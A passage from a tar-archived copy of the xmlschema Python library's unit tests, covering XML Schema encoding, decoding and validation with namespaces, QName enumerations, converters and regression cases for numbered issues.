'http://xmlschema.test/ns', 'zz': 'http://xmlschema.test/ns2'} root, errors = schema.encode(instance, validation='lax', namespaces=namespaces, use_defaults=False, converter=JsonMLConverter) self.assertListEqual(errors, []) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.parse(xml_data).getroot())) def test_encoding_with_default_namespace__issue_400(self): schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <xs:schema targetNamespace="http://address0.com" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ser="http://address0.com" xmlns:ds="http://www.address1.com"> <xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsig-core-schema.xsd"/> <xs:complexType name="class"> <xs:sequence> <xs:element name="student1" type="ser:String32" minOccurs="0"/> <xs:element name="student2" type="ser:String32" minOccurs="0"/> </xs:sequence> </xs:complexType> <xs:element name="class" type="ser:class"/> <xs:simpleType name="String32"> <xs:restriction base="xs:normalizedString"> <xs:minLength value="1"/> <xs:maxLength value="32"/> </xs:restriction> </xs:simpleType> </xs:schema> """)) xml_data = dedent("""\n <ser:class xmlns:ser="http://address0.com"> <student1>John</student1> <student2>Rachel</student2> </ser:class>""") obj = schema.decode(xml_data, preserve_root=True) self.assertDictEqual(obj, {'ser:class': { '@xmlns:ser': schema.target_namespace, "student1": "John", "student2": "Rachel"}}) root = schema.encode(obj, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) obj = schema.decode(xml_data, preserve_root=True, strip_namespaces=True) self.assertDictEqual(obj, {'class': { "student1": "John", "student2": "Rachel"}}) with self.assertRaises(XMLSchemaValidationError): schema.encode(obj, preserve_root=True) obj = { 'ser:class': { "student1": "John", "student2": "Rachel" } } with self.assertRaises(XMLSchemaValidationError): schema.encode(obj, preserve_root=True) root = schema.encode( obj, preserve_root=True, namespaces={'ser': schema.target_namespace} ) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <xs:schema targetNamespace="http://address0.com" elementFormDefault="qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ser="http://address0.com" xmlns:ds="http://www.address1.com"> <xs:import namespace="http://www.w3.org/2000/09/xmldsig#" schemaLocation="xmldsig-core-schema.xsd"/> <xs:complexType name="class"> <xs:sequence> <xs:element name="student1" type="ser:String32" minOccurs="0"/> <xs:element name="student2" type="ser:String32" minOccurs="0"/> </xs:sequence> </xs:complexType> <xs:element name="class" type="ser:class"/> <xs:simpleType name="String32"> <xs:restriction base="xs:normalizedString"> <xs:minLength value="1"/> <xs:maxLength value="32"/> </xs:restriction> </xs:simpleType> </xs:schema> """)) self.assertFalse(schema.is_valid(xml_data)) xml_data = dedent("""\n <ser:class xmlns:ser="http://address0.com"> <ser:student1>John</ser:student1> <ser:student2>Rachel</ser:student2> </ser:class>""") self.assertTrue(schema.is_valid(xml_data)) obj = schema.decode(xml_data, preserve_root=True) self.assertDictEqual(obj, {'ser:class': { '@xmlns:ser': schema.target_namespace, "ser:student1": "John", "ser:student2": "Rachel"}}) root = schema.encode(obj, preserve_root=True) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) obj = schema.decode(xml_data, preserve_root=True, strip_namespaces=True) self.assertDictEqual(obj, {'class': { "student1": "John", "student2": "Rachel"}}) root = schema.encode(obj, preserve_root=True, namespaces={'': schema.target_namespace}) self.assertIsNone(etree_elements_assert_equal(root, ElementTree.XML(xml_data))) def test_encoding_qname_with_enumeration__issue_411(self): schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="utf-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns0="http://xmlschema.test/tns0" xmlns:tns1="http://xmlschema.test/tns1"> <xs:element name="root" type="Enum1"/> <xs:simpleType name="Enum1"> <xs:restriction base="xs:QName"> <xs:enumeration value="tns0:foo"/> <xs:enumeration value="tns1:bar"/> <xs:enumeration value="foo"/> </xs:restriction> </xs:simpleType> </xs:schema> """)) namespaces = {'tns0': 'http://xmlschema.test/tns0', 'tns1': 'http://xmlschema.test/tns1'} with self.assertRaises(XMLSchemaValidationError): schema.decode('<root>bar</root>') data = schema.decode('<root>tns1:bar</root>', namespaces=namespaces) self.assertEqual(data, {'@xmlns:tns0': 'http://xmlschema.test/tns0', '@xmlns:tns1': 'http://xmlschema.test/tns1', '$': 'tns1:bar'}) root = schema.encode(data, namespaces=namespaces) self.assertEqual(root.text, 'tns1:bar') data = schema.decode('<root>tns1:bar</root>', namespaces=namespaces, preserve_root=True) self.assertEqual( data, {'root': { '@xmlns:tns0': 'http://xmlschema.test/tns0', '@xmlns:tns1': 'http://xmlschema.test/tns1', '$': 'tns1:bar' }} ) root = schema.encode(data, namespaces=namespaces, preserve_root=True) self.assertEqual(root.text, 'tns1:bar') class TestEncoding11(TestEncoding): schema_class = XMLSchema11 if __name__ == '__main__': from xmlschema.testing import run_xmlschema_tests run_xmlschema_tests('encoding') �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/validation/test_validation.py�������������������������������������������������0000664�0000000�0000000�00000107777�15020401055�0022547�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import unittest import os import pathlib import decimal from textwrap import dedent from xml.etree import ElementTree try: import lxml.etree as lxml_etree except ImportError: lxml_etree = None import xmlschema from xmlschema import XMLSchema10, XMLSchemaValidationError, XMLSchemaStopValidation, \ XMLSchemaChildrenValidationError from xmlschema.validators import XMLSchema11 from xmlschema.testing import XsdValidatorTestCase from xmlschema import DataElement, XMLResource from xmlschema.converters import XMLSchemaConverter, JsonMLConverter, get_converter from xmlschema.validators import ValidationContext CASES_DIR = os.path.join(os.path.dirname(__file__), '../test_cases') class TestValidationContext(unittest.TestCase): @classmethod def setUpClass(cls): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') cls.schema = XMLSchema10(xsd_file) def test_get_converter(self): schema = XMLSchema10(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root"/> </xs:schema>"""), converter=JsonMLConverter) resource = XMLResource('<root xmlns:tns="http://example.test/ns1"/>') namespaces = {'tns': 'http://example.test/ns0'} obj = {'root': {'@xmlns:tns="http://example.test/ns1'}} kwargs = { 'source': resource, 'preserve_root': True, 'namespaces': namespaces } converter = get_converter(**kwargs) self.assertIsInstance(converter, XMLSchemaConverter) self.assertIsNot(converter.namespaces, kwargs['namespaces']) self.assertDictEqual( kwargs['namespaces'], {'tns': 'http://example.test/ns0'} ) self.assertDictEqual( converter.namespaces, {'tns': 'http://example.test/ns0', 'tns0': 'http://example.test/ns1'} ) self.assertTrue(converter.preserve_root) self.assertIs(resource, kwargs['source']) converter = get_converter(JsonMLConverter, source=resource) self.assertIsInstance(converter, JsonMLConverter) kwargs = {'preserve_root': True, 'source': obj} converter = get_converter(**kwargs) self.assertIs(converter.source, obj) converter = schema.get_converter(source=resource) self.assertIsInstance(converter, JsonMLConverter) converter = schema.get_converter(XMLSchemaConverter, source=resource) self.assertIsInstance(converter, XMLSchemaConverter) self.assertNotIsInstance(converter, JsonMLConverter) def test_validation_error(self): elem = ElementTree.XML('<foo/>') context = ValidationContext(elem) with self.assertRaises(XMLSchemaValidationError): context.validation_error('strict', self.schema, 'Test error', obj=elem) self.assertIsInstance(context.validation_error('lax', self.schema, 'Test error'), XMLSchemaValidationError) self.assertIsInstance(context.validation_error('lax', self.schema, 'Test error'), XMLSchemaValidationError) self.assertIsInstance(context.validation_error('skip', self.schema, 'Test error'), XMLSchemaValidationError) error = context.validation_error('lax', self.schema, 'Test error') self.assertIsNone(error.obj) self.assertEqual(context.validation_error('lax', self.schema, error, obj=10).obj, 10) class TestValidationMixin(unittest.TestCase): @classmethod def setUpClass(cls): xsd_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xsd') cls.schema = XMLSchema10(xsd_file) def test_validate(self): xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xml') root = ElementTree.parse(xml_file).getroot() self.assertIsNone(self.schema.elements['vehicles'].validate(root)) xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles-1_error.xml') root = ElementTree.parse(xml_file).getroot() with self.assertRaises(XMLSchemaValidationError): self.schema.elements['vehicles'].validate(root) def test_decode(self): xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xml') root = ElementTree.parse(xml_file).getroot() obj = self.schema.elements['vehicles'].decode(root) self.assertIsInstance(obj, dict) self.assertIn(self.schema.elements['cars'].name, obj) self.assertIn(self.schema.elements['bikes'].name, obj) xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles-2_errors.xml') root = ElementTree.parse(xml_file).getroot() obj, errors = self.schema.elements['vehicles'].decode(root, validation='lax') self.assertIsInstance(obj, dict) self.assertIn(self.schema.elements['cars'].name, obj) self.assertIn(self.schema.elements['bikes'].name, obj) self.assertEqual(len(errors), 2) def test_decode_to_objects(self): xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xml') root = ElementTree.parse(xml_file).getroot() obj = self.schema.elements['vehicles'].to_objects(root) self.assertIsInstance(obj, DataElement) self.assertEqual(self.schema.elements['vehicles'].name, obj.tag) self.assertIs(obj.__class__, DataElement) obj = self.schema.elements['vehicles'].to_objects(root, with_bindings=True) self.assertIsInstance(obj, DataElement) self.assertEqual(self.schema.elements['vehicles'].name, obj.tag) self.assertIsNot(obj.__class__, DataElement) self.assertTrue(issubclass(obj.__class__, DataElement)) self.assertEqual(obj.__class__.__name__, 'VehiclesBinding') def test_encode(self): xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles.xml') obj = self.schema.decode(xml_file) root = self.schema.elements['vehicles'].encode(obj) self.assertEqual(root.tag, self.schema.elements['vehicles'].name) xml_file = os.path.join(CASES_DIR, 'examples/vehicles/vehicles-2_errors.xml') obj, errors = self.schema.decode(xml_file, validation='lax') root, errors2 = self.schema.elements['vehicles'].encode(obj, validation='lax') self.assertEqual(root.tag, self.schema.elements['vehicles'].name) class TestValidation(XsdValidatorTestCase): cases_dir = pathlib.Path(__file__).parent.joinpath('../test_cases') def check_validity(self, xsd_component, data, expected, use_defaults=True): if isinstance(expected, type) and issubclass(expected, Exception): self.assertRaises(expected, xsd_component.is_valid, data, use_defaults=use_defaults) elif expected: self.assertTrue(xsd_component.is_valid(data, use_defaults=use_defaults)) else: self.assertFalse(xsd_component.is_valid(data, use_defaults=use_defaults)) @unittest.skipIf(lxml_etree is None, "The lxml library is not available.") def test_lxml(self): xs = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) xt1 = lxml_etree.parse(self.casepath('examples/vehicles/vehicles.xml')) xt2 = lxml_etree.parse(self.casepath('examples/vehicles/vehicles-1_error.xml')) self.assertTrue(xs.is_valid(xt1)) self.assertFalse(xs.is_valid(xt2)) self.assertTrue(xs.validate(xt1) is None) self.assertRaises(xmlschema.XMLSchemaValidationError, xs.validate, xt2) def test_document_validate_api(self): self.assertIsNone(xmlschema.validate(self.vh_xml_file)) self.assertIsNone(xmlschema.validate(self.vh_xml_file, use_defaults=False)) vh_2_file = self.casepath('examples/vehicles/vehicles-2_errors.xml') self.assertRaises(XMLSchemaValidationError, xmlschema.validate, vh_2_file) try: xmlschema.validate(vh_2_file, namespaces={'vhx': "http://example.com/vehicles"}) except XMLSchemaValidationError as err: path_line = str(err).splitlines()[-1] else: path_line = '' self.assertEqual('Path: /vhx:vehicles/vhx:cars', path_line) # Issue #80 vh_2_xt = ElementTree.parse(vh_2_file) self.assertRaises(XMLSchemaValidationError, xmlschema.validate, vh_2_xt, self.vh_xsd_file) # Issue #145 with open(self.vh_xml_file) as f: self.assertIsNone(xmlschema.validate(f, schema=self.vh_xsd_file)) def test_document_validate_api_lazy(self): source = xmlschema.XMLResource(self.col_xml_file, lazy=False) namespaces = source.get_namespaces() source.root[0].clear() # Drop internal elements source.root[1].clear() xsd_element = self.col_schema.elements['collection'] self.assertRaises(XMLSchemaValidationError, xsd_element.decode, source.root, namespaces=namespaces) for _ in xsd_element.iter_decode( source.root, 'strict', namespaces=namespaces, max_depth=1): del _ self.assertIsNone(xmlschema.validate(self.col_xml_file, lazy=True)) def test_document_is_valid_api(self): self.assertTrue(xmlschema.is_valid(self.vh_xml_file)) self.assertTrue(xmlschema.is_valid(self.vh_xml_file, use_defaults=False)) vh_2_file = self.casepath('examples/vehicles/vehicles-2_errors.xml') self.assertFalse(xmlschema.is_valid(vh_2_file)) def test_document_iter_errors_api(self): self.assertListEqual(list(xmlschema.iter_errors(self.vh_xml_file)), []) self.assertListEqual(list(xmlschema.iter_errors(self.vh_xml_file, use_defaults=False)), []) vh_2_file = self.casepath('examples/vehicles/vehicles-2_errors.xml') errors = list(xmlschema.iter_errors(vh_2_file)) self.assertEqual(len(errors), 2) self.assertIsInstance(errors[0], XMLSchemaValidationError) self.assertIsInstance(errors[1], XMLSchemaValidationError) def test_max_depth_argument(self): schema = self.schema_class(self.col_xsd_file) invalid_col_xml_file = self.casepath('examples/collection/collection-1_error.xml') self.assertFalse(schema.is_valid(invalid_col_xml_file)) self.assertTrue(schema.is_valid(invalid_col_xml_file, max_depth=1)) self.assertTrue(schema.is_valid(invalid_col_xml_file, max_depth=2)) self.assertFalse(schema.is_valid(invalid_col_xml_file, max_depth=3)) root = ElementTree.parse(invalid_col_xml_file).getroot() xsd_element = schema.elements['collection'] self.assertFalse(xsd_element.is_valid(root)) self.assertTrue(xsd_element.is_valid(root, max_depth=1)) self.assertTrue(xsd_element.is_valid(root, max_depth=2)) self.assertFalse(xsd_element.is_valid(root, max_depth=3)) # Need to provide namespace explicitly because the default namespace is '' in this case. xsd_element = schema.find('collection/object', namespaces={'': schema.target_namespace}) self.assertIsNotNone(xsd_element) self.assertTrue(xsd_element.is_valid(root[0])) self.assertFalse(xsd_element.is_valid(root[1])) self.assertTrue(xsd_element.is_valid(root[1], max_depth=1)) self.assertFalse(xsd_element.is_valid(root[1], max_depth=2)) def test_extra_validator_argument(self): # Related to issue 227 def bikes_validator(elem, xsd_element_): if elem.tag == '{http://example.com/vehicles}bike' and \ xsd_element_.name == elem.tag and \ elem.attrib['make'] != 'Harley-Davidson': raise XMLSchemaValidationError(xsd_element_, elem, 'not an Harley-Davidson') with self.assertRaises(XMLSchemaValidationError) as ec: self.vh_schema.validate(self.vh_xml_file, extra_validator=bikes_validator) self.assertIn('Reason: not an Harley-Davidson', str(ec.exception)) root = ElementTree.parse(self.vh_xml_file).getroot() xsd_element = self.vh_schema.elements['vehicles'] with self.assertRaises(XMLSchemaValidationError) as ec: xsd_element.validate(root, extra_validator=bikes_validator) self.assertIn('Reason: not an Harley-Davidson', str(ec.exception)) with self.assertRaises(XMLSchemaValidationError) as ec: self.vh_schema.decode(self.vh_xml_file, extra_validator=bikes_validator) self.assertIn('Reason: not an Harley-Davidson', str(ec.exception)) def bikes_validator(elem, xsd_element_): if elem.tag == '{http://example.com/vehicles}bike' and \ xsd_element_.name == elem.tag and \ elem.attrib['make'] != 'Harley-Davidson': yield XMLSchemaValidationError(xsd_element_, elem, 'not an Harley-Davidson') with self.assertRaises(XMLSchemaValidationError) as ec: self.vh_schema.validate(self.vh_xml_file, extra_validator=bikes_validator) self.assertIn('Reason: not an Harley-Davidson', str(ec.exception)) def test_validation_hook_argument(self): resource = xmlschema.XMLResource( self.casepath('examples/collection/collection-1_error.xml') ) with self.assertRaises(XMLSchemaValidationError) as ec: self.col_schema.validate(resource) self.assertIn('invalid literal for int() with base 10', str(ec.exception)) def stop_validation(e, _xsd_element): if e is ec.exception.elem: raise XMLSchemaStopValidation() return False self.assertIsNone(self.col_schema.validate(resource, validation_hook=stop_validation)) def skip_validation(e, _xsd_element): return e is ec.exception.elem self.assertIsNone(self.col_schema.validate(resource, validation_hook=skip_validation)) def test_path_argument(self): schema = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='*')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles/vh:cars')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='vh:cars')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='/vh:vehicles/vh:cars/vh:car')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='.//vh:car')) self.assertTrue(schema.is_valid(self.vh_xml_file, path='xs:vehicles')) self.assertFalse( schema.is_valid(self.vh_xml_file, path='xs:vehicles', allow_empty=False) ) def test_schema_path_argument__issue_326(self): schema = self.schema_class(self.casepath('examples/vehicles/vehicles.xsd')) document = ElementTree.parse(self.vh_xml_file) entries = document.findall('vh:cars', {'vh': 'http://example.com/vehicles'}) self.assertListEqual(entries, [document.getroot()[0]]) for entry in entries: self.assertTrue(schema.is_valid( entry, schema_path='/vh:vehicles/vh:cars', namespaces={'vh': 'http://example.com/vehicles'} )) entries = document.findall('vh:cars/vh:car', {'vh': 'http://example.com/vehicles'}) self.assertListEqual(entries, list(document.getroot()[0][:])) for entry in entries: self.assertTrue(schema.is_valid( entry, schema_path='.//vh:cars/vh:car', namespaces={'vh': 'http://example.com/vehicles'} )) def test_issue_064(self): self.check_validity(self.st_schema, '<name xmlns="ns"></name>', False) def test_issue_183(self): # Test for issue #183 schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns0="http://xmlschema.test/0" xmlns:tns1="http://xmlschema.test/1" xmlns="http://xmlschema.test/2" targetNamespace="http://xmlschema.test/0"> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:string"/> <xs:element name="root" type="tns0:enumType"/> <xs:simpleType name="enumType"> <xs:restriction base="xs:QName"> <xs:enumeration value="tns0:elem1"/> <xs:enumeration value="tns0:elem2"/> <xs:enumeration value="tns1:elem1"/> <xs:enumeration value="elem1"/> </xs:restriction> </xs:simpleType> </xs:schema>""") xml_data = '<tns0:root xmlns:tns0="http://xmlschema.test/0" >tns0:elem1</tns0:root>' self.check_validity(schema, xml_data, True) xml_data = '<ns0:root xmlns:ns0="http://xmlschema.test/0" >ns0:elem1</ns0:root>' self.check_validity(schema, xml_data, True) self.assertEqual(schema.decode(xml_data), {'@xmlns:ns0': 'http://xmlschema.test/0', '$': 'ns0:elem1'}) self.assertEqual(schema.decode(xml_data, strip_namespaces=True), 'ns0:elem1') schema = self.schema_class(""" <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns="http://xmlschema.test/0" xmlns:tns1="http://xmlschema.test/1" xmlns:tns2="http://xmlschema.test/2" targetNamespace="http://xmlschema.test/0"> <xs:element name="elem1" type="xs:string"/> <xs:element name="elem2" type="xs:string"/> <xs:element name="elem3" type="xs:string"/> <xs:element name="elem4" type="xs:string"/> <xs:element name="root" type="enumType"/> <xs:simpleType name="enumType"> <xs:restriction base="xs:QName"> <xs:enumeration value="elem1"/> <xs:enumeration value="elem2"/> <xs:enumeration value="tns1:other1"/> <xs:enumeration value="elem3"/> <xs:enumeration value="tns2:other2"/> <xs:enumeration value="elem4"/> </xs:restriction> </xs:simpleType> </xs:schema>""") xml_data = '<ns0:root xmlns:ns0="http://xmlschema.test/0">ns0:elem2</ns0:root>' self.check_validity(schema, xml_data, True) def test_issue_213(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="amount" type="xs:decimal"/> </xs:schema>""")) xml1 = """<?xml version="1.0" encoding="UTF-8"?><amount>0.000000</amount>""" self.assertIsInstance(schema.decode(xml1), decimal.Decimal) xml2 = """<?xml version="1.0" encoding="UTF-8"?><amount>0.0000000</amount>""" self.assertIsInstance(schema.decode(xml2), decimal.Decimal) def test_issue_224__validate_malformed_file(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root" type="xs:string"/> </xs:schema>""")) malformed_xml_file = self.casepath('resources/malformed.xml') with self.assertRaises(ElementTree.ParseError): schema.is_valid(malformed_xml_file) def test_issue_238__validate_bytes_strings(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="value" type="xs:int"/> </xs:schema>""")) self.assertTrue(schema.is_valid('<value>11</value>')) self.assertTrue(schema.is_valid(b'<value>\n11\n</value>')) with open(self.col_xml_file, 'rb') as fp: col_xml_data = fp.read() self.assertIsInstance(col_xml_data, bytes) self.assertTrue(self.col_schema.is_valid(col_xml_data)) def test_issue_350__ignore_xsi_type_for_schema_validation(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <xs:element name="root" xsi:type="non-empty-string" /> <xs:simpleType name="non-empty-string"> <xs:restriction base="xs:string"> <xs:minLength value="1" /> </xs:restriction> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.is_valid('<root></root>')) self.assertTrue(schema.is_valid('<root>foo</root>')) self.assertFalse(schema.is_valid( '<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' 'xsi:type="non-empty-string"></root>' )) self.assertTrue(schema.is_valid( '<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ' 'xsi:type="non-empty-string">foo</root>' )) def test_issue_356__validate_empty_simple_elements(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="root1" type="emptyString" /> <xs:element name="root2" type="emptyList" /> <xs:element name="root3" type="emptiableUnion" /> <xs:simpleType name="emptyString"> <xs:restriction base='xs:string'> <xs:length value="0"/> </xs:restriction> </xs:simpleType> <xs:simpleType name="emptyList"> <xs:list itemType="emptyString"/> </xs:simpleType> <xs:simpleType name="emptiableUnion"> <xs:union memberTypes="xs:int emptyString"/> </xs:simpleType> </xs:schema>""")) self.assertTrue(schema.is_valid('<root1></root1>')) self.assertFalse(schema.is_valid('<root1>foo</root1>')) self.assertTrue(schema.is_valid('<root2></root2>')) self.assertFalse(schema.is_valid('<root2>foo</root2>')) self.assertFalse(schema.is_valid('<root2>foo bar</root2>')) self.assertTrue(schema.is_valid('<root3>1</root3>')) self.assertTrue(schema.is_valid('<root3></root3>')) self.assertFalse(schema.is_valid('<root3>foo</root3>')) def test_element_form(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="c1" minOccurs="0" /> <xs:element name="c2" minOccurs="0" form="qualified"/> <xs:element name="c3" minOccurs="0" form="unqualified"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>""")) self.assertFalse(schema.is_valid('<root></root>')) self.assertTrue(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"></root>') ) self.assertTrue(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c1 xmlns=""/></root>' )) self.assertFalse(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c1/></root>' )) self.assertFalse(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c2 xmlns=""/></root>' )) self.assertTrue(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c2/></root>' )) self.assertTrue(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c3 xmlns=""/></root>' )) self.assertFalse(schema.is_valid( '<root xmlns="http://xmlschema.test/ns"><c3/></root>' )) def test_attribute_form(self): schema = self.schema_class(dedent("""\ <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root"> <xs:complexType> <xs:attribute name="a1"/> <xs:attribute name="a2" form="qualified"/> <xs:attribute name="a3" form="unqualified"/> </xs:complexType> </xs:element> </xs:schema>""")) self.assertTrue(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" a1="foo"/>' )) self.assertFalse(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a1="foo"/>' )) self.assertFalse(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" a2="foo"/>' )) self.assertTrue(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a2="foo"/>' )) self.assertTrue(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" a3="foo"/>' )) self.assertFalse(schema.is_valid( '<tns:root xmlns:tns="http://xmlschema.test/ns" tns:a3="foo"/>' )) def test_issue_363(self): schema = self.schema_class(self.casepath('issues/issue_363/issue_363.xsd')) self.assertTrue(schema.is_valid(self.casepath('issues/issue_363/issue_363.xml'))) self.assertFalse( schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-1.xml'))) self.assertFalse( schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-2.xml'))) # Issue instance case (no default namespace and namespace mismatch) self.assertFalse( schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-3.xml'))) self.assertFalse( schema.is_valid(self.casepath('issues/issue_363/issue_363-invalid-3.xml'), namespaces={'': "http://xmlschema.test/ns"})) def test_dynamic_schema_load(self): xml_file = self.casepath('features/namespaces/dynamic-case1.xml') with self.assertRaises(XMLSchemaValidationError) as ctx: xmlschema.validate(xml_file, cls=self.schema_class) self.assertIn("schemaLocation declaration after namespace start", str(ctx.exception)) def test_issue_410(self): schema = self.schema_class(dedent("""\ <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="muclient"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="include"/> <xs:choice> <xs:element name="plugin"/> <xs:element name="world"/> <xs:element name="triggers"/> <xs:element name="aliases"/> <xs:element name="timers"/> <xs:element name="macros"/> <xs:element name="variables"/> <xs:element name="colours"/> <xs:element name="keypad"/> <xs:element name="printing"/> </xs:choice> </xs:choice> </xs:complexType> </xs:element> </xs:schema>""")) xml_data = '<muclient></muclient>' self.check_validity(schema, xml_data, True) xml_data = '<muclient><include/></muclient>' self.check_validity(schema, xml_data, True) xml_data = '<muclient><world/><include/></muclient>' self.check_validity(schema, xml_data, True) class TestValidation11(TestValidation): schema_class = XMLSchema11 def test_default_attributes(self): xs = self.schema_class(self.casepath('features/attributes/default_attributes.xsd')) self.assertTrue(xs.is_valid("<tree xmlns='ns'>\n" " <node node-id='1'>alpha</node>\n" " <node node-id='2' colour='red'>beta</node>\n" "</tree>")) self.assertFalse(xs.is_valid("<tree xmlns='ns'>\n" " <node>alpha</node>\n" # Misses required attribute " <node node-id='2' colour='red'>beta</node>\n" "</tree>")) def test_issue_171(self): # First schema has an assert with a naive check schema = self.schema_class(self.casepath('issues/issue_171/issue_171.xsd')) self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) self.check_validity(schema, '<tag name="test" abc="10"/>', True) # Same schema with a more reliable assert expression schema = self.schema_class(self.casepath('issues/issue_171/issue_171b.xsd')) self.check_validity(schema, '<tag name="test" abc="10" def="0"/>', False) self.check_validity(schema, '<tag name="test" abc="10" def="1"/>', False) self.check_validity(schema, '<tag name="test" abc="10"/>', True) # Another schema with a simple assert expression to test that EBV of abc/def='0' is True schema = self.schema_class(self.casepath('issues/issue_171/issue_171c.xsd')) self.check_validity(schema, '<tag name="test" abc="0" def="1"/>', True) self.check_validity(schema, '<tag name="test" abc="1" def="0"/>', True) self.check_validity(schema, '<tag name="test" abc="1" def="1"/>', True) self.check_validity(schema, '<tag name="test" abc="0" def="0"/>', True) self.check_validity(schema, '<tag name="test" abc="1"/>', False) self.check_validity(schema, '<tag name="test" def="1"/>', False) def test_optional_errors_collector(self): schema = self.schema_class(self.col_xsd_file) invalid_col_xml_file = self.casepath('examples/collection/collection-1_error.xml') errors = [] chunks = list(schema.iter_decode(invalid_col_xml_file, errors=errors)) self.assertTrue(len(chunks), 2) self.assertIsInstance(chunks[0], XMLSchemaValidationError) self.assertTrue(len(errors), 1) self.assertIs(chunks[0], errors[0]) def test_dynamic_schema_load(self): xml_file = self.casepath('features/namespaces/dynamic-case1.xml') with self.assertRaises(XMLSchemaValidationError) as ctx: xmlschema.validate(xml_file, cls=self.schema_class) self.assertIn("global xs:element with name='elem1' is already loaded", str(ctx.exception)) xml_file = self.casepath('features/namespaces/dynamic-case1-2.xml') with self.assertRaises(XMLSchemaValidationError) as ctx: xmlschema.validate(xml_file, cls=self.schema_class) self.assertIn("change the assessment outcome of previous items", str(ctx.exception)) def test_incorrect_validation_errors__issue_372(self): schema = self.schema_class(self.casepath('issues/issue_372/issue_372.xsd')) xml_file = self.casepath('issues/issue_372/issue_372-1.xml') errors = list(schema.iter_errors(xml_file)) self.assertEqual(len(errors), 1) err = errors[0] self.assertIsInstance(err, XMLSchemaChildrenValidationError) self.assertEqual(err.invalid_child, err.elem[err.index]) self.assertEqual(err.invalid_tag, 'invalidTag') xml_file = self.casepath('issues/issue_372/issue_372-2.xml') errors = list(schema.iter_errors(xml_file)) self.assertEqual(len(errors), 1) err = errors[0] self.assertIsInstance(err, XMLSchemaChildrenValidationError) self.assertEqual(err.invalid_child, err.elem[err.index]) 